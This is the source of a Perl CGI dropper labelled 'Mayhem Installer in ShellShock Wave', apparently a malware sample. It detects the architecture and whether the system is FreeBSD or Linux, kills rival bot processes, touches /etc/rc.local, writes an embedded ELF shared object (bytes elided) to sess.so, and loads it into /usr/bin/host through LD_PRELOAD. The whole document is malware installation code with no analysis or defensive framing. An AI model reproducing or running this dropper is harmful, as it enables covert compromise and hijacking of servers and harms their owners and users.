Mayhem Installer in ShellShock Wave in Perl #MMD

#!/usr/bin/perl
use Config;

print "Content-type: text/plain\n\n";
$SO32="\x7f\x45\x4c\x46\x01x4c\x4f..\x00\x00";
$SO64="\x7f\x45\x4c\x46\x02x4c\x4f..\x00\x00";
# detect arch
$arch = $Config{longsize} * 8;
print "Arch=".$arch."\n";
$so = ($arch == 32 ? $SO32 : $SO64);
# detect system
$name = "%helper";
open F, $name and binmode F and read (F, $buf, 8) and close F;
@b = unpack("C*", $buf);
$sys = $b[7];
print "System is ".($sys == 9 ? "FreeBSD" : "Linux")."\n";
$extra = "";
if ($sys == 9) {
    # FreeBSD
    $so[7] = pack("C", $sys);
    my $out = `ldd /usr/bin/host`;
    foreach my $line (split /[\n]+/, $out) {
        my ($x, $x, $lib) = split / /, $line;
        if ($lib =~ /(ibc\.|thr)/i ) {
            $extra .= $lib." ";
        }
    }
    if ($extra !~ /libthr/i) {
        $extra = "libc.so.7 libthr.so.3 ";
    }
    # touch /etc/rc.local
    open (TMP, ">>/etc/rc.local") and close TMP;
}
# kill bots if any
$name=~s/.*\///g;
system("killall -9 ".$name." 2>/dev/null");
# drop library
open $F, ">./sess.so";
print $F $so;
close $F;
print "Drop library\n";

$ENV{'AU'}=$ENV{'SERVER_NAME'}.$ENV{'REQUEST_URI'};
system("LD_PRELOAD='".$extra." ./sess.so' /usr/bin/host");